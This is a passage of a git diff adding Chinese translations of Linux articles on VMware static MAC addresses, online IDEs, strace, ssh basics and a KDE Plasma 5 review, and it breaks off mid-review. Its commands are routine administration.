+如你上图所见,VMWare的vSphere的GUI客户端已经有一个为虚拟机分配静态MAC地址的菜单。然而,基于GUI的方法只允许你在**00:50:56:xx:xx:xx**的范围里选择一个静态MAC地址,这是VMWare保留的MAC地址范围。如果你尝试设置任何超出这个范围的MAC地址,你就会无法启动VM,接着就会看到下面的错误。 + +![](https://farm6.staticflickr.com/5591/14890165456_a82ded21b9_z.jpg) + +那么如果我想要给虚拟机设置任意的MAC地址怎么办? + +幸运地,这里有一个对于这个限制的临时方案。方法就是,不使用vSphere GUI客户端编辑。在登录ESXi主机后直接编辑你虚拟机的.vmx文件。 + +首先关闭你想要分配静态MAC地址的虚拟机。 + +[对你的ESXi主机启用SSH访问][1],如果你还没这么做的话。接着通过SSH登录ESXi主机。 + +移到你虚拟机的.vmx文件所在目录。 + + # cd vmfs/volumes/datastore1/[name-of-vm] + +用文本编辑器打开.vmx文件,接着在加入下面这几行。把MAC地址替换成你自己的MAC地址。 + + ethernet0.addressType = "static" + ethernet0.checkMACAddress = "false" + ethernet0.address = "00:0c:29:1f:4b:ac" + +现在你应该可以使用你定义在.vmx文件中的静态MAC地址启动虚拟机了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/static-mac-address-vmware-esxi-virtual-machine.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ask.xmodulo.com/enable-ssh-remote-access-vmware-esxi5.html \ No newline at end of file diff --git a/published/201409/20140818 Where And How To Code--Choosing The Best Free Code Editor.md b/published/201409/20140818 Where And How To Code--Choosing The Best Free Code Editor.md new file mode 100644 index 0000000000..771f0c10b3 --- /dev/null +++ b/published/201409/20140818 Where And How To Code--Choosing The Best Free Code Editor.md @@ -0,0 +1,104 @@ +何处写,如何写:选择最好的免费在线代码编辑器 +================================================================================ +> 深入了解一下Cloud9,Koding和Nitrous.IO。 + +![](http://a2.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTIzMDQ5NjYzODM4NDU1MzA4.jpg) + +已经准备好开始你的第一个编程项目了吗?很好!只要配置一下终端或命令行,学习如何使用它,然后安装所有要用到的编程语言,插件库和API函数库。当最终准备好一切以后,再安装好[Visual Studio][1]就可以开始了,然后才可以预览自己的工作。 + +至少这是大家过去已经熟悉的方式。 + +也难怪初学程序员们逐渐喜欢上在线的集成开发环境(IDE)了。IDE是一个代码编辑器,不过已经准备好编程语言以及所有需要的依赖,可以让你避免把它们一一安装到电脑上的麻烦。 + +我想搞清楚到底是哪些因素能组成一个典型的IDE,所以我试用了一下免费级别的时下最受欢迎的三款集成开发环境:[Cloud9][2],[Koding][3]和[Nitrous.IO][4]。在这个过程中,我了解了许多程序员应该或不应该使用IDE的各种情形。 + +### 为什么要用IDE? ### + +假如有一个像Microsoft Word那样的文字编辑器,想想类似Google Drive那样的IDE吧。你可以拥有类似的功能,但是它还能支持从任意电脑上访问,还能随时共享。因为因特网在项目工作流中的影响已经越来越重要,IDE也让生活更轻松。 + +在我最近的一篇ReadWrite教程中我使用了Nitrous.IO,这是在文章“[创建一个你自己的像Yo那样的极端简单的聊天应用][5]”里的一个Python应用。当使用IDE的时候,你只要选择你要用的编程语言,然后通过IDE特别为运行这种语言程序而设计的虚拟机(VM),你就可以测试和预览你的应用了。 + +如果你读过那篇教程,就会知道我的那个应用只用到了两个API库-信息服务Twilio和Python微框架Flask。在我的电脑上就算是使用文字编辑器和终端来做也是很简单的,不过我选择使用IDE还有一个方便的地方:如果大家都使用同样的开发环境,跟着教程一步步走下去就更简单了。 + +### IDE不能做的事情 ### + +到目前为止,IDE还不是一个长期托管方案。 + +当你使用IDE工作的时候,你可以在云上构建,测试和预览你的应用。你甚至还可以直接通过链接共享你的最终作品。 + +但是不能用IDE来永久存储你的整个项目。把帖子保存在Google Drive文件中不会让你的博客丢失。类似Google Drive,IDE可以让你创建链接用于共享内容,但是任何一个都还不足以替代真正的托管服务器。 + +还有,IDE并不是设计成方便广泛共享。尽管各种IDE都在不断改善大多数文字编辑器的预览功能,还只能用来给你的朋友或同事展示一下应用的预览,而不是像Hacker News一样的主页。那样的话,占用太多带宽的IDE也许会让你崩溃。 + +这样说吧:IDE只是构建和测试你的应用的地方,托管服务器才是它们生存的地方。所以一旦完成了你的应用,你会希望把它布置到能长期托管的云服务器上,最好是能免费托管的那种,例如[Heroku][6]。 + +### 选择一个IDE ### + +![](http://a2.files.readwrite.com/image/upload/c_fit,w_630/MTIzNjEzMTg5MjA2NDc2MzAy.png) + +随着IDE变得越来越流行,选择也越来越多。在我眼里,没有一个是完美的。不过,还是有些IDE在完成某些工作方面相对来说有些优势。 + +我尝试了一下免费级别的三个最受欢迎的集成开发环境:Cloud9,Koding和Nitrous.IO。每一个都有自己的优点,当然跟你用来做的事情有关系。下面就是我的发现。 + +### Cloud9:乐于协作 ### + +当我完成了Cloud9的注册后,它提示的第一件事情就是添加我的GitHub和BitBucket账号。马上,所有我的GitHub项目,个人的和协作的,都可以直接克隆到本地并使用Cloud9的开发工具开始工作。其他的IDE在和GitHub集成的方面都没有达到这种水准。 + +在我测试的这三款IDE中,Cloud9看起来更加侧重于一个可以让协同工作的人们无缝衔接工作的环境。在这里,它并不是角落里放个聊天窗口。实际上,按照其CEO Ruben Daniels说的,试用Cloud9的协作者可以互相看到其他人实时的编码情况,就像Google Drive上的合作者那样。 + +“大多数IDE服务的协同功能只能操作单一文件”,Daniels说,“而我们的产品可以支持整个项目中的不同文件。协同功能被完美集成到了我们的IDE中。” + +### Koding:在你需要的时候能提供帮助 ### + +IDE可以提供你所需的工具来构建和测试所有开源编程语言的应用。对于初学者来说,看起来有点吓人。举个例子,如果我要做一个项目同时用到Python和Ruby组件,那我要用哪个VM来测试? + +答案是两个都要,尽管使用免费账号的话,只能够同时打开一个VM用于测试。我就在Koding的控制面板里找到了答案,一个折叠起来的地方,用户可以提供或获得他们Koding项目的各种经验。在这三者中间,它是最容易使用的,拥有一个你可以寻求帮助并很快有人回答的地方。 + +“我们在这款产品里加入了一个积极的社区功能”,Koding的首席商务官Nitin Gupta说,“我们希望搭建一个环境,真正吸引那些希望得到帮助和愿意提供帮助的人们。” + +### Nitrous.IO: An IDE Wherever You Want ### + +相对于自己的桌面环境,使用IDE的最大优势是它是自足的。你不需要安装任何其他的东西就可以使用。而另一方面,使用自己的桌面环境的最大优势就是你可以在本地工作,甚至在没有互联网的情况下。 + +Nitrous.IO结合了这两个优势。“你可以在网站上在线使用这个IDE,你也可以把它下载到自己的电脑上”,其共同创始人AJ Solimine这样说。优点是你可以结合Nitrous的集成性和你最喜欢的文字编辑器的熟悉。 + +他说:“你可以使用任意现代浏览器访问Nitrous.IO的在线IDE网站,但我们仍然提供了方便的Windows和Mac桌面应用,可以让你使用你最喜欢的编辑器来写代码。” + +### 底线 ### + +这一个星期[使用][7]三个不同IDE的最让我意外的收获是什么?它们是如此相似。[当用来做最基本的代码编辑的时候][8],它们都一样的好用。 + +Cloud9,Koding,[和Nitrous.IO都支持][9]所有主流的开源编程语言,从Ruby到Python到PHP到HTML5。你可以选择任何一种VM。 + +Cloud9和Nitrous.IO都实现了GitHub的一键集成。Koding需要[多几个步骤][10],不过也是可以实现的。 + +每一个都轻松地集成了我需要的API。每一个也都可以让我自己安装喜欢的包(Koding需要超级用户权限)。它们都带有内置的终端,可以用来轻松地测试和布置项目。三个都支持轻松地预览项目。当然,它们也都把我的项目托管在云服务器中,所以我在任意地方都可以在上边工作。 + +不好的一面,它们都有相同的缺陷,不过考虑到它们都是免费的也还合理。你每次只能同时运行一个VM来测试特定编程语言写出的程序。而当你一段时间没有使用VM之后,IDE会把VM切换成休眠模式以节省带宽,而下次要用的时候就得等它重新加载(Cloud9在这一点上更加费力)。它们中也没有任何一个为已完成的项目提供像样的永久托管服务。 + +所以,对咨询我是否有一个完美的免费IDE的人来说,答案是可能没有。但是这也要看你侧重的地方,对你的某个项目来说也许有一个完美的IDE。 + +图片由[Shutterstock][11]友情提供 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/08/14/cloud9-koding-nitrousio-integrated-development-environment-ide-coding + +作者:[Lauren Orsini][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/lauren-orsini +[1]:http://www.visualstudio.com/ +[2]:http://c9.io/ +[3]:https://koding.com/ +[4]:http://nitrous.io/ +[5]:http://readwrite.com/2014/07/11/one-click-messaging-app +[6]:http://heroku.com/ +[7]:http://help.nitrous.io/ide-general/ +[8]:https://www.nitrous.io/desktop +[9]:https://www.nitrous.io/desktop +[10]:https://koding.com/Activity/steps-clone-projects-github-koding-1-create-account-github-2-open-your-terminal-3 +[11]:http://www.shutterstock.com/ diff --git a/published/201409/20140819 8 Options to Trace or Debug Programs using Linux strace Command.md b/published/201409/20140819 8 Options to Trace or Debug Programs using Linux strace Command.md new file mode 100644 index 0000000000..a840ee7b59 --- /dev/null +++ b/published/201409/20140819 8 Options to Trace or Debug Programs using Linux strace Command.md @@ -0,0 +1,116 @@ +使用 Linux 的 strace 命令跟踪/调试程序的常用选项 +================================================================================ + +在调试的时候,strace能帮助你追踪到一个程序所执行的系统调用。当你想知道程序和操作系统如何交互的时候,这是极其方便的,比如你想知道执行了哪些系统调用,并且以何种顺序执行。 + +这个简单而又强大的工具几乎在所有的Linux操作系统上可用,并且可被用来调试大量的程序。 + +### 命令用法 ### + +让我们看看strace命令如何追踪一个程序的执行情况。 + +最简单的形式,strace后面可以跟任何命令。它将列出许许多多的系统调用。一开始,我们并不能理解所有的输出,但是如果你正在寻找一些特殊的东西,那么你应该能从输出中发现它。 + +让我们来看看简单命令ls的系统调用跟踪情况。 + + raghu@raghu-Linoxide ~ $ strace ls + +![Stracing ls command](http://linoxide.com/wp-content/uploads/2014/08/01.strace_ls.png) + +这是strace命令输出的前几行。其他输出被截去了。 + +![Strace write system call (ls)](http://linoxide.com/wp-content/uploads/2014/08/02.strace_ls_write.png) + +上面的输出部分展示了write系统调用,它把当前目录的列表输出到标准输出。 + +下面的图片展示了使用ls命令列出的目录内容(没有使用strace)。 + + raghu@raghu-Linoxide ~ $ ls + +![ls command output](http://linoxide.com/wp-content/uploads/2014/08/03.ls_.png) + +#### 选项1 寻找被程序读取的配置文件 #### + +Strace 的用法之一(除了调试某些问题以外)是你能找到被一个程序读取的配置文件。例如, + + raghu@raghu-Linoxide ~ $ strace php 2>&1 | grep php.ini + +![Strace config file read by program](http://linoxide.com/wp-content/uploads/2014/08/04.strace_php_configuration.png) + +#### 选项2 跟踪指定的系统调用 #### + +strace命令的-e选项仅仅被用来展示特定的系统调用(例如,open,write等等) + +让我们跟踪一下cat命令的‘open’系统调用。 + + raghu@raghu-Linoxide ~ $ strace -e open cat dead.letter + +![Stracing specific system call (open here)](http://linoxide.com/wp-content/uploads/2014/08/05.strace_open_systemcall.png) + +#### 选项3 跟踪进程 #### + +strace不但能用在命令上,而且通过使用-p选项能用在运行的进程上。 + + raghu@raghu-Linoxide ~ $ sudo strace -p 1846 + +![Strace a process](http://linoxide.com/wp-content/uploads/2014/08/06.strace_process.png) + +#### 选项4 strace的统计概要 #### + +它包括系统调用的概要,执行时间,错误等等。使用-c选项能够以一种整洁的方式展示: + + raghu@raghu-Linoxide ~ $ strace -c ls + +![Strace summary display](http://linoxide.com/wp-content/uploads/2014/08/07.strace_summary.png) + +#### 选项5 保存输出结果 #### + +通过使用-o选项可以把strace命令的输出结果保存到一个文件中。 + + raghu@raghu-Linoxide ~ $ sudo strace -o process_strace -p 3229 + +![Strace a process](http://linoxide.com/wp-content/uploads/2014/08/08.strace_output_file.png) + +之所以以sudo来运行上面的命令,是为了防止用户ID与所查看进程的所有者ID不匹配的情况。 + +### 选项6 显示时间戳 ### + +使用-t选项,可以在每行的输出之前添加时间戳。 + + raghu@raghu-Linoxide ~ $ strace -t ls + +![Timestamp before each output line](http://linoxide.com/wp-content/uploads/2014/08/09.strace_timestamp.png) + +#### 选项7 更精细的时间戳 #### + +-tt选项可以展示微秒级别的时间戳。 + + raghu@raghu-Linoxide ~ $ strace -tt ls + +![Time - Microseconds](http://linoxide.com/wp-content/uploads/2014/08/010.strace_finer_timestamp.png) + +-ttt也可以向上面那样展示微秒级的时间戳,但是它并不是打印当前时间,而是显示自从epoch(译注:1970年1月1日00:00:00 UTC)以来的所经过的秒数。 + + raghu@raghu-Linoxide ~ $ strace -ttt ls + +![Seconds since epoch](http://linoxide.com/wp-content/uploads/2014/08/011.strace_epoch_seconds.png) + +#### 选项8 相对时间 #### + +-r选项展示系统调用之间的相对时间戳。 + + raghu@raghu-Linoxide ~ $ strace -r ls + +![Relative Timestamp](http://linoxide.com/wp-content/uploads/2014/08/012.strace_relative-time.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-strace-command-examples/ + +作者:[Raghu][a] +译者:[guodongxiaren](https://github.com/guodongxiaren) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/raghu/ diff --git a/published/201409/20140819 A Pocket Guide for Linux ssh Command with Examples.md b/published/201409/20140819 A Pocket Guide for Linux ssh Command with Examples.md new file mode 100644 index 0000000000..bd3799ff7a --- /dev/null +++ b/published/201409/20140819 A Pocket Guide for Linux ssh Command with Examples.md @@ -0,0 +1,132 @@ +Linux 下 SSH 命令实例指南 +================================================================================ +如果你已经在IT圈内混了很长时间, 应该对 SSH 这个了不起的工具及其安全特性有所耳闻吧. 本教程可以让你在短时间内掌握通过 SSH 安全便利地连接到远程计算机的技术. + +如果你对 SSH 还没什么概念, 可以先访问 [维基百科][1] 进行了解. + +### 基本用法 ### + +最简单的 SSH 命令只需要指定用户名和主机名参数即可. 主机名可以是 IP 地址或者域名. 命令格式如下: + + $ ssh user@hostname + +比如要在我的局域网内登录一个树莓派系统, 只需要简单的在命令行输入如下命令: + + $ ssh pi@10.42.0.47 + +命令中的 pi 和 10.42.0.47 分别是我的树莓派系统的用户名和局域网 IP 地址. 实际使用时主机名需要改成你的目标主机(局域网内或者远程)的 IP 地址. + +![basic ssh](http://linoxide.com/wp-content/uploads/2014/08/basic-ssh.png) + +如果你能够成功登陆, 那么下面的内容对你来说就轻而易举了. + +### 使用其他端口 ### + +SSH 默认连接到目标主机的 22 端口上,但是由于各种原因你可能需要连接到其他端口. + + $ ssh -p 10022 user@hostname + +如上命令就是通过添加参数 -p 指定端口号为 10022. + +### 远程执行命令 ### + +有时在远程主机执行一条命令并显示到本地, 然后继续本地工作是很方便的. SSH 就能满足这个需求: + + $ ssh pi@10.42.0.47 ls -l + +比如上面这个命令就会枚举远程主机的主目录内容并在本地显示. 是不是很酷? 你可以尝试下其他命令看看. + +![remote command](http://linoxide.com/wp-content/uploads/2014/08/remote-command.png) + +### 挂载远程文件系统 ### + +另外一个很赞的基于 SSH 的工具叫 sshfs. sshfs 可以让你在本地直接挂载远程主机的文件系统. + + $ sshfs -o idmap=user user@hostname:/home/user ~/Remote + +比如下面这条命令: + + $ sshfs -o idmap=user pi@10.42.0.47:/home/pi ~/Pi + +该命令就将远程主机 pi 用户的主目录挂载到本地主目录下的 Pi 文件夹. + +要详细了解可以参考 [sshfs 教程][2]. + +### X11 图形界面 ### + +假如现在你想要在远程主机运行一个图形界面的程序, SSH 已经帮你想到了! 用前面提到的 SSH 基本命令加上参数 -X 连接到远程主机即可开启 X11 转发功能. 登录后你可能觉得没什么差别, 但是当你运行一个图形界面程序后就会发现其中的不同的. + + $ ssh -X pi@10.42.0.47 + + $ pistore + +如果你想在运行图形界面程序的同时做些别的事情, 只需要简单地在命令末尾加一个 & 符号. + + $ pistore& + +![X11 forwarding](http://linoxide.com/wp-content/uploads/2014/08/X11-forwarding.png) + +### 转义字符 ### + +SSH 提供了多样的转义字符功能. 用 SSH 连接到任意一台远程主机然后输入 ~? 你就可以看到支持的转义字符和功能说明列表. 以下例子展示了 **~#** 和 **~C** 的效果. + +![escape sequences](http://linoxide.com/wp-content/uploads/2014/08/escape-sequences.png) + +### 配置 SSH ### + +如果你需要改变 SSH 的配置, 请用你喜好的文本编辑器打开 **/etc/ssh/sshd_config** 进行编辑. 比如你想改变登陆的标语, 在配置文件中找到下面这行: + + #Banner none + +删除 # 字符(取消该行的注释), 将 none 替换为包含你期望显示内容的文件地址. 修改后该行应该类似这样: + + Banner /etc/issue + +在配置文件 **/etc/ssh/sshd_config** 中你还可以找到端口号, 空闲超时时间等配置项. 配置项大都比较容易理解, 但是保险起见在你修改一些不是很确定的配置项时最好参考下 SSH 的帮助文档. + +### 构建 ssh 密钥对 ### + +运行以下命令创建密钥对: + + $ ssh-keygen -t dsa + +此命令会要求你输入密码(可以留空), 然后就会生成密钥并会显示一张该密钥对应的随机图. + +![generate key pair](http://linoxide.com/wp-content/uploads/2014/08/generate-key-pair.png) + +### 寻找主机密钥 ### + +在你准备添加密钥之前不妨先用以下命令看看是否已经添加了对应主机的密钥了. + + $ ssh-keygen -F 10.42.0.47 + +![find hostkey](http://linoxide.com/wp-content/uploads/2014/08/find-hostkey.png) + +### 删除主机密钥 ### + +某些情况下, 比如主机地址更改或者不再使用某个密钥, 你就可能需要删除某个密钥. + + $ ssh-keygen -R 10.42.0.47 + +用以上命令就可删除. 这比手动在 **~/.ssh/known_hosts** 文件中删除要方便很多. + +![remove hostkey](http://linoxide.com/wp-content/uploads/2014/08/remove-hostkey.png) + +### 总结 ### + +通过以上的内容你应该可以轻松使用 SSH 了. SSH 还有很多功能值得你去发掘, 这就要看你的想象力了。 + + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/pocket-guide-linux-ssh-command/ + +作者:[Bobbin Zachariah][a] +译者:[henryfour](https://github.com/henryfour) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bobbin/ +[1]:http://en.wikipedia.org/wiki/Secure_Shell +[2]:http://linoxide.com/how-tos/sshfs-mount-remote-directories/ diff --git a/published/201409/20140819 KDE Plasma 5--For those Linux users undecided on the kernel' s future.md b/published/201409/20140819 KDE Plasma 5--For those Linux users undecided on the kernel' s future.md new file mode 100644 index 0000000000..2781931f54 --- /dev/null +++ b/published/201409/20140819 KDE Plasma 5--For those Linux users undecided on the kernel' s future.md @@ -0,0 +1,214 @@ +KDE Plasma 5 —— 给尚未确定桌面环境的 Linux 用户指明道路 +================================================================================ +> 点评 ———— 新的KDE 5版本既满足了传统桌面环境的需求,也兼顾了多设备长期支持计划 + +KDE 项目终于发布了备受瞩目的 KDE 桌面环境的最新主版本 ———— KDE Plasma 5。 + +Plasma 5 站在了一场正在进行的未来 Linux 桌面环境的争夺战中间。 + +一方面,有着 GNOME 和 Unity 这样的新生桌面代表。二者均通过某种重要方法打破了传统桌面模式的垄断,并且都不只是满足于桌面型计算机,而将其界面延伸到了备受期待的新型平板电脑([也许不久后就会面世][1])。 + +另一方面,Linux 桌面环境,如 KDE、XFCE、LXDE、Mate 甚至 Cinnamon,都是桌面环境的另一种类型 ———— 自发布以来没有什么大的变化,继续向用户提供传统的桌面环境体验,但这并不能表明这些项目没有成长和进步。这些发行版全部持续更新,并且根据成熟桌面应有的模式进行了不断的调整。 + +![Ubuntu 下的 Unity 桌面环境](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot-unity.png) + +Ubuntu 下的 Unity 桌面环境 + +![GNOME 3 桌面环境](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot-gnome.png) + +GNOME 3 桌面环境 + +GNOME 和 Unity 暂时在这场正在进行的争夺战中赢得了最大的优势。二者均新颖非凡,固执并极端。有的 Linux 用户对他们情有所钟,也有的 Linux 用户对他们恨之入骨。这使得在 Linux 世界里,没有哪条关于这两个桌面环境的评论或帖子是轻松活泼的。同时两大 Linux 阵营之间的差异不仅仅关乎于你未来桌面的样子,更决定了未来计算机会如何运作。 + +GNOME 和 Unity 相信未来的计算机运作方式,是由多台设备同时运行着相同的软件互相合作而成的 ———— 因此这两个项目发行的新版桌面只朝着这个方向努力。这些新版桌面并不是真正意义上作为未来桌面打造的,而是同时囊括了现在意义上的桌面,以及会出现在未来设备上的桌面的混合桌面。而另一派 Linux 桌面环境似乎完全忽视了这些。 + +与闭源操作系统的世界不同 ———— 那里所有变化都遗传了下来,与之仿效还是以之为戒?Linux 世界正在这两种对立的观点中徘徊着。 + +对用户群体来说,这也许很令他们沮丧。试想你正在努力完成工作,但此时你必须完成一个会彻底改变你现有桌面环境的更新,陌生的工作方式使你不得不花费时间来学习。即便最好的情况是,当你曾经最喜爱的桌面环境更新得面目全非的时候,你选择迁移到了其他桌面去。但你长久以来的使用习惯以及那种熟悉的感觉,却再也无法找回了。 + +幸运的是,有一个简单的方法去避免这种糟糕的情况并为你找到合适的桌面。简而言之:你想被桌面牵制,还是想控制桌面? + +如果你是第一派阵营的,并且乐于学习新的工作方式,那么 Unity 和 GNOME 3 将会是你最好的选择。如果你是后一派阵营的,XFCE、Cinnamon、Mate,还有许多其他的桌面环境,都将很好的满足你的需求。甚至如果你想尝试和 Unity 还有 GNOME 3 都不相同的新生桌面时,也有 Xmonad、Ratpoison 等其他非常小众的桌面环境供你选择。(说来惭愧,自从 Linus 说了“呃,嘿,这有个内核非常适合你的 GNU 操作系统”以来,Xmonad 可能是 Linux 里最好的东西了。) + +![KDE Plasma 5's new boot screen.](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot01.png) + +KDE Plasma 5 的启动界面 + +那么对于犹豫不决的 Linux 用户呢,让他们随便选一种吗?他们喜欢传统桌面环境的带来体验,但也不想因此放弃新生桌面的菜单、快捷方式还有任务栏,同时他们还担心着平板电脑等其他问题,想着是否会有某个桌面能在所有设备上工作。假如你正在这么想,那么我的朋友,你绝对有必要尝试下 KDE 的最新版 Plasma 5。 + +KDE 正在尝试做其他 Linux 桌面都没有做过的事 ———— 向平板电脑及移动设备桌面前进的同时,继续向用户提供传统的、多功能的、高度定制化的桌面体验。 + +### KDE Plasma 5 与“通用”世界 ### + +经历过 KDE 3.5 升级至 KDE 4 的用户似乎仍然避免任何有关 KDE 的重要更新,但对 KDE 粉丝而言,Plasma 5 还是带来了一些好消息。确实这是一个重要更新,没错,但这只是极少数情况下出现的例外(因此我得花费点时间来解释一下,因为你还不太了解)。 + +事实证明,难以置信且艰难万分的 KDE 4 更新确实为一个更加美好的未来打下了坚实的基础 ———— 我们现在刚刚抵达这美好的未来。 + +通过这次更新,KDE 核心今后出现变化的可能性大大减小。我们确实提及了正迈向平板电脑以及其他设备的一步,这令人难以置信,但不要害怕。KDE 似乎准备去做 GNOME 和 Unity 无法做到的事 ———— 在不改变传统桌面模式的前提下,移植到其他设备上去。换言之,这一版本极力避免了所有因某些新技术的出现而随意尝试所导致的混乱结果。 + +(说点其他的:如果你没记住也没关系,但你认同 Canonical 继续通过 Unity 的更新来实现桌面通用这件事吗?早在 Canonical 让用户测试 GNOME 2 菜单中的阴影棕色以调配出最佳效果时,KDE 就开始决定实施桌面统一计划了) + +通过 KDE Frameworks 5、Qt5 还有其他一系列随同 Plasma 5 进行的更新,通用版本的 KDE 得以实现。KDE 将出现在任何需要它的地方。 + +因此当所有因素出现时,KDE 项目及其开发者打造出了全新的界面 ———— KDE 称这种新框架为“通用等离子壳层”(converged Plasma shell),在 Plasma 5 中作为支撑桌面环境的框架基础 ———— Plasma 5 桌面截至目前,是唯一的界面。KDE 计划打造出其他的界面,但针对 Plasma 5 的[官方声明][2]中提到“一个平板中心及用户体验媒体中心正在开发中”。 + +从这点来看,KDE 的通用版本和和 Ubuntu 所预想的并不相同;用户界面将基于设备和硬件进行改变。例如,当你在长椅上浏览网页的时候,你也许有台平板电脑正在管理着进行中的工作。然后你起身,走回办公室,连接无线键盘,平板电脑又变成了拥有键盘的友好操作界面。 + +这种情况下有些潜在的问题,部分 Win 8 用户也许已经习以为常了。比方说,假如键盘正在进行输入,而你仍然想通过触屏进行交互,会发生些什么?试想你正在操纵鼠标,但你同时却想活动活动手指。 + +我们提及这些并不是说 KDE 没有考虑过这些问题(希望他们已经考虑过了),而是指这个“通用”所有设备用户界面的想法将很难做到完美。并且 KDE 一直在做一件事 ———— 暗示用户这项计划的成功是遥遥无期的。 + +假如 KDE 能运行在平板设备上,那么用户将获得可以订制任何细节部分的体验。简单来说,会有一种方法让你决定当系统检测到键盘时进行什么操作,而不是让系统自己决定。 + +### Plasma 5 桌面 ### + +KDE Plasma 5 是由 KDE 4 演化来的,而不是任何一种意义上的界面革新。 + +![KDE Plasma 5 的桌面。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot02.png) + +KDE Plasma 5 的桌面。 + +我们早就用这个版本了 ———— 早在不太稳定的测试期时就开始了,尽管大部分错误提示已图形化,而不仅仅是文字警告 ———— 截至目前已在虚拟机上运行了超过一个月的时间。我们已经在 Retina 屏的 MacBook Pro 上进行过了双重启动测试,并且验证了 KDE 在更旧的硬件,一台古老的东芝笔记本上,表现如何。测试 KDE Plasma 5 期间我们使用了 Kubuntu(虚拟机和东芝笔记本)以及新安装的 Arch Linux(MacBook 上的双重启动)。 + +如果你想试试 Plasma 5,最简单的方法是下载[KDE 的官方 Neon live CD][3]。这样可以使你得到在 Ubuntu 上运行的 Plasma。如果你想在一个已经安装了 Kubuntu 的操作系统上安装测试,你可以使用以下命令: + + sudo add-apt-repository ppa:neon/kf5 + sudo apt-get update + sudo apt-get install project-neon5-session project-neon5-utils project-neon5-konsole project-neon5-breeze project-neon5-plasma-workspace-wallpapers + +重启你的机器,你将会在登录界面下找到启动 Neon 的新启动项。 + +当你安装完 Plasma 5 并且启动时,首先你将会注意到的是叫做 Breeze 全新 KDE 默认主题。 + +### Plasma 5 的全新外观 Breezy ### + +Breezy 主题是 KDE 所要呈现出的一种现代化界面,同时“减少了工作区的视觉混乱”。也就是说,很长时间以来一直作为 KDE 默认外观一部分的,那种给人以忙碌混乱的感觉已经成为了过去。 + +![KDE Plasma 5 的 Breeze 桌面主题最大程度上完善了开始菜单。每个标签下都有注释,方便搜索。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot03.png) + +KDE Plasma 5 的 Breeze 桌面主题最大程度上完善了开始菜单。每个标签下都有注释,方便搜索。 + +全部界面发生了极大的变化 ———— 更大的字体,更好的对比度,以及一种全新的平面布局,其“磨砂”外观有点类似并且介于 OS X Yosemite、Android L 还有 KDE 4.x 的风格。这并不是说 KDE 抄袭了苹果或者谷歌。这不可能是抄袭,因为 Plasma 5 和 Breeze 主题发布了很长时间之后苹果核谷歌那里才透漏出些许 Yosemite 还有 Android L 的信息出来。 + +当然,说 KDE 抄袭了任何产品都是不对的,从 Breeze 的视觉设计和整体审美性来看,其更偏向于长时间沉淀的作品。从这种角度看,它看起来很“现代化”,只要你把现代化定义为较多的尖锐元素,较少的纹理和轮廓,更多的半透感,以及单色图形。 + +KDE 的设计者将大量的工作放在了 Breeze 主题还有其外观上。这不仅仅是外观上的变化。Breeze 主题借由清爽的菜单、更有条理的通知中心以及全新的开始菜单,使 KDE 变得更加友好。 + +![清爽、有条理的通知中心。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot04.png) + +清爽、有条理的通知中心。 + +Breeze 出现了多少问题取决于你是否使用过它。KDE 更倾向于那些喜欢定制自己系统的用户,他们大概也喜欢定制主题。有件期待的事,有什么发行版会大幅修改默认 KDE 主题? ———— 显然是 OpenSUSE ———— 将会提供一个比 Breeze 所提供的更高的开始菜单栏。 + +目前而言,大多数发行版应该不会直接过渡到 Breeze 上去,因为其仍处于测试阶段。而且巧合的是,Breeze 将会是你注意到 Plasma 5 不完美的第一个标志。开始菜单上有许多很棒的新图标了,但其他界面上却没有。并且作为 Kubuntu PPA 可用的最新更新,Breeze 并未使用新版的窗口装饰。新版窗口装饰是已经安装了的,但默认并未被使用。你可以去系统设置中打开该选项以获得更完整的,但也更有可能出 bug 的 Breeze 体验。 + +![图片上半部分是默认的 Oxygen 窗口装饰,下半部分是最新的 Breeze 主题中的窗口装饰。](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot05.png) + +图片上半部分是默认的 Oxygen 窗口装饰,下半部分是最新的 Breeze 主题中的窗口装饰。 + +并非所有都是理想的,有时很难分辨什么是 bug 或者什么地方是不完善的,以及哪里的设计不够好。比如,Breeze 下有很多窗口的时候会呈半透明覆盖状,其中一些看起来非常好看。但某些时候,这会成为一种妨碍。堆叠窗口与覆盖预览之后的是什么,在后台时很难看到这些。可以通过将之拉至前台来解决问题,但这样一来则很难评价透明的意义在哪里。 + +![透明... 意义何在?](http://cdn.arstechnica.net/wp-content/uploads/2014/08/screenshot06.png) + +透明... 意义何在? + +是的,Breeze 主题仍然处于测试中,不仅仅是功能和设计;工作重点放在了真正 bug 还有缺陷上。同时我们还遇到了一些意料之外的情况,特别是关于屏幕刷新的问题。这些问题频繁发生,很长时间才引起我们的注意。窗口时常消失,并且有时菜单栏只显示一半。 + +Plasma 5 在我们的测试期间从未崩溃过,并且从未遗失任何数据。但注意 ———— 经常会有一些图像方面的小 bug 出现。我们建议你在稳定版发布前不要尝试进行更新。 + +### Plasma 的垂直菜单 ### + +Breeze 给 Plasma 5 带来一种新外观,同时也带来了许多细节方面的变化。例如,窗口小部件和 ALT-TAB 窗口切换均呈现垂直显示,并且默认都具有相同的启动位置 ———— 